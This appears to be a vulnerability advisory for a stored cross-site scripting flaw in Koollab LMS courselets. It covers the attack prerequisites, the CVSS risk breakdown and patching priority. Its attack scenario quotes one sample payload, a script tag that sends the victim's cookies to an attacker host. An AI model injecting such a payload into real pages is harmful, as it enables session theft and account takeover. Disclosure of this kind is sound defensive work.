Koollab Learning Management System EUVD-2026-25170

Attacker must be an authenticated user of Koollab LMS with access to create or edit courselets - the feature itself is the exploitable component. The vulnerability is triggered when other authenticated users (specifically those with courselet access permissions) view the malicious courselet. No special server configuration, non-default features, or technical prerequisites beyond normal courselet functionality are required. Exploitation is not possible by anonymous or unauthenticated users. The stored nature means the payload persists until the courselet or specific field is modified by an administrator.

Risk is moderate but context-dependent. CVSS 5.4 with network vector (AV:N) and low complexity (AC:L) indicates easy exploitation, but several factors reduce real-world urgency: (1) Authentication required (PR:L) - attacker must be a legitimate user with courselet access, limiting threat actors to insider threats, compromised accounts, or social engineering; (2) User interaction required (UI:R) - victim must view the malicious courselet, making targeted attacks against specific users necessary; (3) Scope is changed (S:C), meaning impact extends beyond the vulnerable component to other users' sessions; (4) Impact is limited to confidentiality and integrity (C:L/I:L), not availability. The CVSS vector indicates this is a privilege escalation/lateral movement vector rather than a direct system compromise. EPSS score, KEV status, and POC availability are not provided in input data, limiting assessment of exploitation likelihood. For education sectors using Koollab LMS, this warrants patching but is not a critical incident-response priority absent active exploitation signals.

An authenticated user with courselet creation privileges injects a malicious JavaScript payload (e.g., <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) into a courselet title or description field. When other authenticated users enroll in or view that courselet, the payload executes in their browsers, stealing session cookies or performing unauthorized actions (e.g., changing passwords, enrolling in courses, or downloading sensitive materials) on their behalf.